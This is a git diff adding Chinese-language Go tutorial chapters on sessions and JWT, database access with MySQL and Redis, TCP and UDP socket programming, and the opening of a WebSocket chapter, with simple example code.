"github.com/gorilla/sessions"
|
||||
)
|
||||
|
||||
// 利用cookie方式创建session,秘钥为 mykey
|
||||
var store = sessions.NewCookieStore([]byte("mykey"))
|
||||
|
||||
func setSession(w http.ResponseWriter, r *http.Request){
|
||||
session, _ := store.Get(r, "sid")
|
||||
session.Values["username"] = "张三"
|
||||
session.Save(r, w)
|
||||
}
|
||||
|
||||
func profile(w http.ResponseWriter, r *http.Request){
|
||||
|
||||
session, _ := store.Get(r, "sid")
|
||||
|
||||
if session.Values["username"] == nil {
|
||||
fmt.Fprintf(w, `未登录,请前往 localhost:8080/setSession`)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprintf(w, `已登录,用户是:%s`, session.Values["username"])
|
||||
return
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 访问隐私页面
|
||||
http.HandleFunc("/profile", profile)
|
||||
|
||||
// 设置session
|
||||
http.HandleFunc("/setSession", setSession)
|
||||
|
||||
server := http.Server{
|
||||
Addr: ":8080",
|
||||
}
|
||||
server.ListenAndServe()
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
在企业级开发中,经常使用额外的数据库redis来存储session数据。
|
||||
|
||||
|
||||
#### 2.3 禁用cookie时候session方案
|
||||
|
||||
以上方式中,生成的sid都存储在cookie中,如果用户禁用了cookie,则每次请求服务端无法收到sid!我们需要想别的办法来让浏览器的每次请求都携带上sid,常用方式是URL重写:在返回给用户的页面里的所有的URL后面追加session标识符,这样用户在收到响应之后,无论点击响应页面里的哪个链接或提交表单,都会自动带上session标识符,从而就实现了会话的保持。
|
||||
|
||||
|
||||
## 三 JWT
|
||||
|
||||
#### 3.1 jwt介绍
|
||||
|
||||
session将数据存储在了服务端,无端造成了服务端空间浪费,可否像cookie那样将用户数据存储在客户端,而不被黑客破解到呢?
|
||||
|
||||
JWT是json web token缩写,它将用户信息加密到token里,服务器不保存任何用户信息。服务器通过使用保存的密钥验证token的正确性,只要正确即通过验证。
|
||||
JWT和session有所不同,session需要在服务器端生成,服务器保存session,只返回给客户端sessionid,客户端下次请求时带上sessionid即可。因session是储存在服务器中,有多台服务器时会出现一些麻烦,需要同步多台主机的信息,不然会出现在请求A服务器时能获取信息,但是请求B服务器身份信息无法通过。JWT能很好的解决这个问题,服务器端不用保存jwt,只需要保存加密用的secret,在用户登录时将jwt加密生成并发送给客户端,由客户端存储,以后客户端的请求带上,由服务器解析jwt并验证。这样服务器不用浪费空间去存储登录信息,也不用浪费时间去做同步。
|
||||
|
||||
#### 3.2 jwt构成
|
||||
|
||||
一个 JWT token包含3部分:
|
||||
- header: 告诉我们使用的算法和 token 类型
|
||||
- Payload: 必须使用 sub key 来指定用户 ID, 还可以包括其他信息比如 email, username 等.
|
||||
- Signature: 用来保证 JWT 的真实性. 可以使用不同算法
|
||||
|
||||
header:
|
||||
```
|
||||
// base64编码的字符串`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9`
|
||||
// 这里规定了加密算法,hash256
|
||||
{
|
||||
"alg": "HS256",
|
||||
"typ": "JWT"
|
||||
}
|
||||
```
|
||||
|
||||
payload:
|
||||
```
|
||||
{
|
||||
"sub": "1234567890",
|
||||
"name": "John Doe",
|
||||
"admin": true
|
||||
}
|
||||
// base64编码的字符串`eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9`
|
||||
```
|
||||
|
||||
这里的内容没有强制要求,因为 Payload 就是为了承载内容而存在的,不过想用规范的话也可以参考下面的:
|
||||
```
|
||||
* iss: jwt签发者
|
||||
* sub: jwt所面向的用户
|
||||
* aud: 接收jwt的一方
|
||||
* exp: jwt的过期时间,这个过期时间必须要大于签发时间
|
||||
* nbf: 定义在什么时间之前,该jwt都是不可用的.
|
||||
* iat: jwt的签发时间
|
||||
* jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。
|
||||
```
|
||||
|
||||
signature是用 header + payload + secret组合起来加密的,公式是:
|
||||
```
|
||||
HMACSHA256(
|
||||
base64UrlEncode(header) + "." +
|
||||
base64UrlEncode(payload),
|
||||
secret
|
||||
)
|
||||
|
||||
```
|
||||
|
||||
这里 secret就是自己定义的一个随机字符串,这一个过程只能发生在 server 端,会随机生成一个 hash 值,这样组合起来之后就是一个完整的 jwt 了:
|
||||
|
||||
```
|
||||
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.4c9540f793ab33b13670169bdf444c1eb1c37047f18e861981e14e34587b1e04
|
||||
```
|
||||
|
||||
#### 3.3 jwt执行流程
|
||||
|
||||
![](../images/go/jwt.jpg)
|
||||
|
||||
|
||||
#### 3.4 Go使用jwt
|
||||
|
||||
整体操作步骤:
|
||||
- 1.从request获取tokenstring
|
||||
- 2.将tokenstring转化为未解密的token对象
|
||||
- 3.将未解密的token对象解密得到解密后的token对象
|
||||
- 4.从解密后的token对象里取参数
|
||||
|
||||
使用第三方包:`go get github.com/dgrijalva/jwt-go` 示例:
|
||||
|
||||
```go
|
||||
|
||||
// 生成Token:
|
||||
// SecretKey 是一个 const 常量
|
||||
func CreateToken(SecretKey []byte, issuer string, Uid uint, isAdmin bool) (tokenString string, err error) {
|
||||
claims := &jwtCustomClaims{
|
||||
jwt.StandardClaims{
|
||||
ExpiresAt: int64(time.Now().Add(time.Hour * 72).Unix()),
|
||||
Issuer: issuer,
|
||||
},
|
||||
Uid,
|
||||
isAdmin,
|
||||
}
|
||||
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
|
||||
tokenString, err = token.SignedString(SecretKey)
|
||||
return
|
||||
}
|
||||
|
||||
// 解析Token
|
||||
func ParseToken(tokenSrt string, SecretKey []byte) (claims jwt.Claims, err error) {
|
||||
var token *jwt.Token
|
||||
token, err = jwt.Parse(tokenSrt, func(*jwt.Token) (interface{}, error) {
|
||||
return SecretKey, nil
|
||||
})
|
||||
claims = token.Claims
|
||||
return
|
||||
}
|
||||
```
|
271
04-Web编程/06-Go操作数据库.md
Normal file
271
04-Web编程/06-Go操作数据库.md
Normal file
@ -0,0 +1,271 @@
|
||||
## 零 Go数据库接口
|
||||
|
||||
Go官方没有提供数据库驱动,而是为开发数据库驱动定义了一些标准接口,开发者可以根据定义的接口来开发相应的数据库驱动,这样做的好处是:框架迁移极其方便。
|
||||
|
||||
Go数据库标准包位于以下两个包中:
|
||||
- database/sql:提供了保证SQL或类SQL数据库的泛用接口
|
||||
- database/sql/driver:定义了应被数据库驱动实现的接口,这些接口会被sql包使用
|
||||
|
||||
关于包的详细使用位于![07-标准库](https://github.com/overnote/over-golang/tree/master/07-标准库)中。
|
||||
|
||||
## 一 Go操作MySQL
|
||||
|
||||
Go中支持MySQL的驱动目前比较多,有如下几种,有些是支持database/sql标准,而有些是采用了自己的实现接口。
|
||||
|
||||
推荐使用:
|
||||
- https://github.com/go-sql-driver/mysql (Go编写,维护频繁,支持Gosql接口,底层支持keepalive)
|
||||
- https://github.com/jmoiron/sqlx(推荐)
|
||||
|
||||
代码示例:
|
||||
|
||||
```Go
|
||||
package main
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
db, err := sql.Open("mysql", "root:123456@/mydata?charset=utf8")
|
||||
checkErr(err)
|
||||
|
||||
//插入数据
|
||||
sql1 := "INSERT INTO user SET name=?,age=?"
|
||||
stmt, err := db.Prepare(sql1)
|
||||
checkErr(err)
|
||||
res, err := stmt.Exec("zs", "30",)
|
||||
checkErr(err)
|
||||
|
||||
id, err := res.LastInsertId()
|
||||
checkErr(err)
|
||||
fmt.Println("插入id=", id)
|
||||
|
||||
|
||||
//更新数据
|
||||
sql2 := "UPDATE user SET name=? WHERE id=?";
|
||||
stmt, err = db.Prepare(sql2)
|
||||
checkErr(err)
|
||||
res, err = stmt.Exec("lisi", id)
|
||||
checkErr(err)
|
||||
affect, err := res.RowsAffected()
|
||||
checkErr(err)
|
||||
fmt.Println("更新行数=", affect)
|
||||
|
||||
//查询数据
|
||||
rows, err := db.Query("SELECT * FROM user")
|
||||
checkErr(err)
|
||||
for rows.Next() {
|
||||
var id int
|
||||
var name string
|
||||
var age int
|
||||
err = rows.Scan(&id, &name, &age)
|
||||
checkErr(err)
|
||||
fmt.Println("id=", id)
|
||||
fmt.Println("name=", name)
|
||||
fmt.Println("age=", age)
|
||||
}
|
||||
|
||||
//删除数据
|
||||
// stmt, err = db.Prepare("DELETE FROM user WHERE uid=?")
|
||||
// checkErr(err)
|
||||
// res, err = stmt.Exec(id)
|
||||
// checkErr(err)
|
||||
// affect, err = res.RowsAffected()
|
||||
// checkErr(err)
|
||||
// fmt.Println(affect)
|
||||
|
||||
db.Close()
|
||||
|
||||
}
|
||||
|
||||
func checkErr(err error) {
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
相关API:
|
||||
- sql.Open():打开一个注册过的数据库驱动,第二个参数格式有:
|
||||
- `user@unix(/path/to/socket)/dbname?charset=utf8`
|
||||
- `user:password@tcp(localhost:5555)/dbname?charset=utf8`
|
||||
- `user:password@/dbname`
|
||||
- `user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname`
|
||||
- db.Prepare():返回准备要执行的sql操作,然后返回准备完毕的执行状态
|
||||
- db.Query():直接执行Sql返回Rows结果
|
||||
- stmt.Exec():执行stmt准备好的SQL语句
|
||||
|
||||
## 二 Go操作redis
|
||||
|
||||
#### 2.1 Go操作Redis
|
||||
|
||||
推荐驱动:
|
||||
- https://github.com/go-redis/redis
|
||||
- https://github.com/gomodule/redigo
|
||||
|
||||
基本操作:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/gomodule/redigo/redis"
|
||||
)
|
||||
|
||||
|
||||
func main() {
|
||||
|
||||
c, err := redis.Dial("tcp", "localhost:6379")
|
||||
|
||||
if err != nil {
|
||||
fmt.Println("Redis connect err:", err)
|
||||
return
|
||||
}
|
||||
|
||||
defer c.Close()
|
||||
|
||||
_, err = c.Do("Set", "first", "hello")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
r, err := redis.Int(c.Do("Get", "first"))
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Println(r)
|
||||
}
|
||||
```
|
||||
|
||||
#### 2.2 连接池
|
||||
|
||||
```Go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/signal"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/gomodule/redigo/redis"
|
||||
)
|
||||
|
||||
var (
|
||||
Pool *redis.Pool
|
||||
)
|
||||
|
||||
func init() {
|
||||
redisHost := ":6379"
|
||||
Pool = newPool(redisHost)
|
||||
listenForClose()
|
||||
}
|
||||
|
||||
func newPool(server string) *redis.Pool {
|
||||
|
||||
return &redis.Pool{
|
||||
MaxIdle: 3,
|
||||
IdleTimeout: 240 * time.Second,
|
||||
|
||||
Dial: func() (redis.Conn, error) {
|
||||
c, err := redis.Dial("tcp", server)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return c, err
|
||||
},
|
||||
|
||||
TestOnBorrow: func(c redis.Conn, t time.Time) error {
|
||||
_, err := c.Do("PING")
|
||||
return err
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func listenForClose() {
|
||||
c := make(chan os.Signal, 1)
|
||||
signal.Notify(c, os.Interrupt)
|
||||
signal.Notify(c, syscall.SIGTERM)
|
||||
signal.Notify(c, syscall.SIGKILL)
|
||||
go func() {
|
||||
<-c
|
||||
_ = Pool.Close()
|
||||
os.Exit(0)
|
||||
}()
|
||||
}
|
||||
|
||||
func Get(key string) ([]byte, error) {
|
||||
|
||||
conn := Pool.Get()
|
||||
defer conn.Close()
|
||||
var data []byte
|
||||
data, err := redis.Bytes(conn.Do("GET", key))
|
||||
if err != nil {
|
||||
return data, fmt.Errorf("error get key %s: %v", key, err)
|
||||
}
|
||||
return data, err
|
||||
}
|
||||
|
||||
func main() {
|
||||
test, err := Get("test")
|
||||
fmt.Println(test, err)
|
||||
ExampleNewClient()
|
||||
// Output
|
||||
// [] error get key test: redigo: nil returned
|
||||
// PONG <nil>
|
||||
// 4396 <nil>
|
||||
// key: overnote2 not exist
|
||||
// 0 redigo: nil returned
|
||||
}
|
||||
|
||||
func ExampleNewClient() {
|
||||
c, _ := redis.Dial("tcp", "localhost:6379",
|
||||
redis.DialDatabase(0),
|
||||
)
|
||||
pong, err := redis.String(c.Do("ping"))
|
||||
fmt.Println(pong, err)
|
||||
// Output: PONG <nil>
|
||||
key := "overnote"
|
||||
val := 4396
|
||||
_, err = c.Do("SET", key, val)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
res, err := redis.Int(c.Do("GET", key))
|
||||
if err == redis.ErrNil {
|
||||
fmt.Printf("key: %s not exist\n", key)
|
||||
} else {
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
fmt.Println(res, err)
|
||||
// 4396 nil
|
||||
notExistKey := "overnote2"
|
||||
res, err = redis.Int(c.Do("GET", notExistKey))
|
||||
if err == redis.ErrNil {
|
||||
fmt.Printf("key: %s not exist\n", notExistKey)
|
||||
// key: overnote2 not exist
|
||||
} else {
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
fmt.Println(res, err)
|
||||
// 0 redigo: nil returned
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## 三 Go操作MongoDB
|
||||
|
||||
MongoDB为Go提供了官方驱动:
|
||||
|
||||
https://github.com/mongodb/mongo-go-driver
|
308
04-Web编程/07-TCP编程.md
Normal file
308
04-Web编程/07-TCP编程.md
Normal file
@ -0,0 +1,308 @@
|
||||
## 一 TCP编程
|
||||
|
||||
### 1.1 服务端代码
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
/**
|
||||
Unix网络编程步骤:Server->Bind->Listen->Accept
|
||||
Go语言简化为了:Listen->Accept
|
||||
*/
|
||||
|
||||
// 此处创建了第一个套接字:设置了通信协议、IP地址、port
|
||||
listener, err := net.Listen("tcp", "127.0.0.1:3000")
|
||||
defer listener.Close() // 套接字也是文件,需要关闭
|
||||
if err != nil {
|
||||
fmt.Println("net listen err:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 此处创建了第二个套接字:用于阻塞监听客户端连接请求。注意listener并未监听,accept实现了监听
|
||||
conn, err := listener.Accept()
|
||||
defer conn.Close() // 套接字也是文件,需要关闭
|
||||
if err != nil {
|
||||
fmt.Println("listener accept err:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 读取客户端数据
|
||||
buf := make([]byte, 4096)
|
||||
n, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
fmt.Println("conn.Read err:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 业务逻辑
|
||||
fmt.Println("Read msg:", string(buf[:n]))
|
||||
conn.Write([]byte("word"))
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
运行服务端后,使用命令行工具模拟请求:`nc 127.0.0.1 3000`。
|
||||
|
||||
### 1.2 客户端代码
|
||||
|
||||
在1.1中,只是使用nc命令模拟了客户端,下面直接使用Go开发一个TCP客户端:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
func main() {
|
||||
conn, err := net.Dial("tcp", "127.0.0.1:3000")
|
||||
if err != nil {
|
||||
fmt.Println("Dial err:", err)
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 主动向服务器发送数据
|
||||
conn.Write([]byte("hello"))
|
||||
|
||||
// 接收服务器返回数据
|
||||
buf := make([]byte, 4096)
|
||||
n, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
fmt.Println("client read err:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("client receive:", string(buf[:n]))
|
||||
}
|
||||
```
|
||||
|
||||
客户端运行后,即可与TCP服务端进行通信。
|
||||
|
||||
### 1.3 优化服务端
|
||||
|
||||
在1.1中,服务端接收了一次请求后即关闭了,显然不符合现在服务端能够同时接收大量请求的业务要求。使用for循环不断创建连接,等待带新的请求即可实现多客户端接入。具体的业务逻辑则可以交给一个go协程处理,这样服务端就可以专门用于循环等待请求、创建连接,而每个go程则负责具体的业务逻辑!
|
||||
|
||||
并发服务端:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
// 创建监听套接字
|
||||
listener, err := net.Listen("tcp", "127.0.0.1:3000")
|
||||
defer listener.Close()
|
||||
if err != nil {
|
||||
fmt.Println("net listen err:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 监听客户端连接请求
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
fmt.Println("listener accept err:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 业务逻辑
|
||||
go handler(conn)
|
||||
}
|
||||
}
|
||||
|
||||
func handler(conn net.Conn) {
|
||||
|
||||
if conn == nil {
|
||||
panic("conn is nil")
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 循环读取客户端数据
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
n, err := conn.Read(buf)
|
||||
|
||||
if err == io.EOF { // 此时n=0
|
||||
fmt.Println("read EOF")
|
||||
break
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
fmt.Println("conn.Read err:", err)
|
||||
break
|
||||
}
|
||||
|
||||
fmt.Println("Server receive msg:", string(buf[:n]))
|
||||
conn.Write([]byte("word"))
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 二 理解Golang TCP编程
|
||||
|
||||
### 2.1 IPv4与IPv6
|
||||
|
||||
目前的全球因特网所采用的协议族是TCP/IP协议。IP是TCP/IP协议中网络层的协议,是TCP/IP协议族的核心协议。目前主要采用的IP协议的版本号是4(简称为IPv4)。
|
||||
|
||||
IPv4的地址位数为32位,也就是最多有2的32次方的网络设备可以联到Internet上。近十年来由于互联网的蓬勃发展,IP位址的需求量愈来愈大,使得IP位址的发放愈趋紧张,前一段时间,据报道IPV4的地址已经发放完毕。
|
||||
|
||||
IPv4地址格式类似这样:`127.0.0.1` `171.121.121.111`
|
||||
|
||||
IPv6是下一版本的互联网协议,也可以说是下一代互联网的协议,它是为了解决IPv4在实施过程中遇到的各种问题而被提出的,IPv6采用128位地址长度,几乎可以不受限制地提供地址。按保守方法估算IPv6实际可分配的地址,整个地球的每平方米面积上仍可分配1000多个地址。在IPv6的设计过程中除了一劳永逸地解决了地址短缺问题以外,还考虑了在IPv4中解决不好的其它问题,主要有端到端IP连接、服务质量(QoS)、安全性、多播、移动性、即插即用等。
|
||||
|
||||
地址格式类似这样:2008:c0e8:82e7:0:0:0:c7e8:82e7
|
||||
|
||||
Go中提供了`ParseIP(s string) IP`函数会把一个IPv4或者IPv6的地址转化成IP类型。
|
||||
|
||||
|
||||
|
||||
大部分底层网络编程都依赖于Socket编程,包括:HTTP,IM通信,视频流传输,游戏服务器等。因为对于HTTP协议来说,直接使用Socket编程能够节省性能开支。
|
||||
Socket起源于UNIX,本着UNIX一切皆文件的哲学,可以用`打开-读写-关闭`的方式操作。网络的Socket数据传输是一种特殊的I/O,Socket也是一种文件描述符。Socket也具有一个类似于打开文件的函数调用:`Socket()`,该函数返回一个整型的Socket描述符,随后的连接建立、数据传输等操作都是通过该Socket实现的。
|
||||
网络之间的进程如果要通信,需要先对socket进行唯一标识。在本地,网络之间通信可以通过`PID`来标识唯一,但是到了网络中,进程通过网络层的`IP`,传输层的`协议+端口`来标识(三元组:ip地址,协议,端口可以标识网络的唯一进程)。
|
||||
|
||||
Web开发中,Socket编程主要面向OSI模型的第三层和第四层协议,即:IP协议,TCP协议,UDP协议,常见的分类有:
|
||||
- 流式Socket(SOCK_STREAM):面向连接,主要用于TCP服务
|
||||
- 数据式Socket(SOCK_DGRAM):无连接,主要用于UDP服务
|
||||
|
||||
## 三 UDP
|
||||
|
||||
Go语言包中处理UDP Socket和TCP Socket不同的地方就是在服务器端处理多个客户端请求数据包的方式不同,UDP缺少了对客户端连接请求的Accept函数。其他基本几乎一模一样,只有TCP换成了UDP而已。UDP的几个主要函数如下所示:
|
||||
```Go
|
||||
|
||||
func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error)
|
||||
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error)
|
||||
func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error)
|
||||
func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error)
|
||||
func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error)
|
||||
```
|
||||
一个UDP的客户端代码如下所示,我们可以看到不同的就是TCP换成了UDP而已:
|
||||
```Go
|
||||
func main() {
|
||||
if len(os.Args) != 2 {
|
||||
fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])
|
||||
os.Exit(1)
|
||||
}
|
||||
service := os.Args[1]
|
||||
udpAddr, err := net.ResolveUDPAddr("udp4", service)
|
||||
checkError(err)
|
||||
conn, err := net.DialUDP("udp", nil, udpAddr)
|
||||
checkError(err)
|
||||
_, err = conn.Write([]byte("anything"))
|
||||
checkError(err)
|
||||
var buf [512]byte
|
||||
n, err := conn.Read(buf[0:])
|
||||
checkError(err)
|
||||
fmt.Println(string(buf[0:n]))
|
||||
os.Exit(0)
|
||||
}
|
||||
func checkError(err error) {
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Fatal error %s", err.Error())
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
我们来看一下UDP服务器端如何来处理:
|
||||
```Go
|
||||
func main() {
|
||||
service := ":1200"
|
||||
udpAddr, err := net.ResolveUDPAddr("udp4", service)
|
||||
checkError(err)
|
||||
conn, err := net.ListenUDP("udp", udpAddr)
|
||||
checkError(err)
|
||||
for {
|
||||
handleClient(conn)
|
||||
}
|
||||
}
|
||||
func handleClient(conn *net.UDPConn) {
|
||||
var buf [512]byte
|
||||
_, addr, err := conn.ReadFromUDP(buf[0:])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
daytime := time.Now().String()
|
||||
conn.WriteToUDP([]byte(daytime), addr)
|
||||
}
|
||||
func checkError(err error) {
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Fatal error %s", err.Error())
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### 1.3 Go的TCP响应解释
|
||||
|
||||
Go语言通过net包中的DialTCP函数来建立一个TCP连接,并返回一个TCPConn类型的对象,当连接建立时服务器也创建一个同类型的对象,此时客户端和服务端通过各自拥有的TCPConn对象进行数据交换,只有当任意一端关闭连接,才会失效。
|
||||
|
||||
`TCPConn`类型拥有的函数有:
|
||||
```go
|
||||
func (c *TCPConn) Write(b []byte) (int, error)
|
||||
func (c *TCPConn) Read(b []byte) (int, error)
|
||||
```
|
||||
|
||||
`TCPAddr`类型表示一个TCP的地址信息:
|
||||
```go
|
||||
type TCPAddr struct {
|
||||
IP IP
|
||||
Port int
|
||||
Zone string // IPv6 scoped addressing zone
|
||||
}
|
||||
```
|
||||
在Go语言中通过`ResolveTCPAddr`获取一个`TCPAddr`
|
||||
|
||||
```Go
|
||||
|
||||
func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)
|
||||
|
||||
// net参数是"tcp4"、"tcp6"、"tcp"中的任意一个,分别表示TCP(IPv4-only), TCP(IPv6-only)或者TCP(IPv4, IPv6的任意一个)。
|
||||
// addr表示域名或者IP地址,例如"www.google.com:80" 或者"127.0.0.1:22"。
|
||||
```
|
||||
|
||||
Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接,并返回一个`TCPConn`类型的对象,当连接建立时服务器端也创建一个同类型的对象,此时客户端和服务器端通过各自拥有的`TCPConn`对象来进行数据交换。一般而言,客户端通过`TCPConn`对象将请求信息发送到服务器端,读取服务器端响应的信息。服务器端读取并解析来自客户端的请求,并返回应答信息,这个连接只有当任一端关闭了连接之后才失效,不然这连接可以一直在使用。建立连接的函数定义如下:
|
||||
|
||||
```Go
|
||||
func DialTCP(network string, laddr, raddr *TCPAddr) (*TCPConn, error)
|
||||
|
||||
// network参数是"tcp4"、"tcp6"、"tcp"中的任意一个,分别表示TCP(IPv4-only)、TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个)
|
||||
// laddr表示本机地址,一般设置为nil
|
||||
// raddr表示远程的服务地址
|
||||
```
|
||||
|
||||
TCP有很多连接控制函数,我们平常用到比较多的有如下几个函数:
|
||||
```Go
|
||||
|
||||
func DialTimeout(net, addr string, timeout time.Duration) (Conn, error)
|
||||
|
||||
```
|
||||
设置建立连接的超时时间,客户端和服务器端都适用,当超过设置时间时,连接自动关闭。
|
||||
```Go
|
||||
|
||||
func (c *TCPConn) SetReadDeadline(t time.Time) error
|
||||
func (c *TCPConn) SetWriteDeadline(t time.Time) error
|
||||
|
||||
```
|
||||
用来设置写入/读取一个连接的超时时间。当超过设置时间时,连接自动关闭。
|
||||
```Go
|
||||
|
||||
func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error
|
||||
```
|
||||
设置keepAlive属性,是操作系统层在tcp上没有数据和ACK的时候,会间隔性的发送keepalive包,操作系统可以通过该包来判断一个tcp连接是否已经断开,在windows上默认2个小时没有收到数据和keepalive包的时候人为tcp连接已经断开,这个功能和我们通常在应用层加的心跳包的功能类似。
|
138
04-Web编程/08-Go与WebSocket.md
Normal file
138
04-Web编程/08-Go与WebSocket.md
Normal file
@ -0,0 +1,138 @@
|
||||
## 一 websocket概述
|
||||
|
||||
WebSocket是HTML5的重要特性,它实现了基于浏览器的远程socket,它使浏览器和服务器可以进行全双工通信,许多浏览器(Firefox、Google Chrome和Safari)都已对此做了支持。
|
||||
|
||||
在WebSocket出现之前,为了实现即时通信,采用的技术都是“轮询”,即在特定的时间间隔内,由浏览器对服务器发出HTTP Request,服务器在收到请求后,返回最新的数据给浏览器刷新,“轮询”使得浏览器需要对服务器不断发出请求,这样会占用大量带宽。
|
||||
|
||||
WebSocket采用了一些特殊的报头,使得浏览器和服务器只需要做一个握手的动作,就可以在浏览器和服务器之间建立一条连接通道。且此连接会保持在活动状态,你可以使用JavaScript来向连接写入或从中接收数据,就像在使用一个常规的TCP Socket一样。它解决了Web实时化的问题,相比传统HTTP有如下好处:
|
||||
- 一个Web客户端只建立一个TCP连接
|
||||
- Websocket服务端可以推送(push)数据到web客户端.
|
||||
- 有更加轻量级的头,减少数据传送量
|
||||
|
||||
WebSocket URL的起始输入是ws://或是wss://(在SSL上)。下图展示了WebSocket的通信过程,一个带有特定报头的HTTP握手被发送到了服务器端,接着在服务器端或是客户端就可以通过JavaScript来使用某种套接口(socket),这一套接口可被用来通过事件句柄异步地接收数据。
|
||||
|
||||
## 二 WebSocket原理
|
||||
|
||||
WebSocket的协议颇为简单,在第一次handshake通过以后,连接便建立成功,其后的通讯数据都是以”\x00″开头,以”\xFF”结尾。在客户端,这个是透明的,WebSocket组件会自动将原始数据“掐头去尾”。
|
||||
|
||||
浏览器发出WebSocket连接请求,然后服务器发出回应,然后连接建立成功,这个过程通常称为“握手” (handshaking)。
|
||||
|
||||
在请求中的"Sec-WebSocket-Key"是随机的,对于整天跟编码打交道的程序员,一眼就可以看出来:这个是一个经过base64编码后的数据。服务器端接收到这个请求之后需要把这个字符串连接上一个固定的字符串:
|
||||
|
||||
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
|
||||
|
||||
即:`f7cb4ezEAl6C3wRaU6JORA==`连接上那一串固定字符串,生成一个这样的字符串:
|
||||
|
||||
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
|
||||
|
||||
对该字符串先用 sha1安全散列算法计算出二进制的值,然后用base64对其进行编码,即可以得到握手后的字符串:
|
||||
|
||||
rE91AJhfC+6JdVcVXOGJEADEJdQ=
|
||||
|
||||
将之作为响应头`Sec-WebSocket-Accept`的值反馈给客户端。
|
||||
|
||||
## 三 Go实现WebSocket
|
||||
|
||||
Go语言标准包里面没有提供对WebSocket的支持,但是在由官方维护的go.net子包中有对这个的支持,你可以通过如下的命令获取该包:
|
||||
|
||||
go get golang.org/x/net/websocket
|
||||
|
||||
WebSocket分为客户端和服务端,接下来我们将实现一个简单的例子:用户输入信息,客户端通过WebSocket将信息发送给服务器端,服务器端收到信息之后主动Push信息到客户端,然后客户端将输出其收到的信息,客户端的代码如下:
|
||||
|
||||
```html
|
||||
|
||||
<html>
|
||||
<head></head>
|
||||
<body>
|
||||
<script type="text/javascript">
|
||||
var sock = null;
|
||||
var wsuri = "ws://127.0.0.1:1234";
|
||||
|
||||
window.onload = function() {
|
||||
|
||||
console.log("onload");
|
||||
|
||||
sock = new WebSocket(wsuri);
|
||||
|
||||
sock.onopen = function() {
|
||||
console.log("connected to " + wsuri);
|
||||
}
|
||||
|
||||
sock.onclose = function(e) {
|
||||
console.log("connection closed (" + e.code + ")");
|
||||
}
|
||||
|
||||
sock.onmessage = function(e) {
|
||||
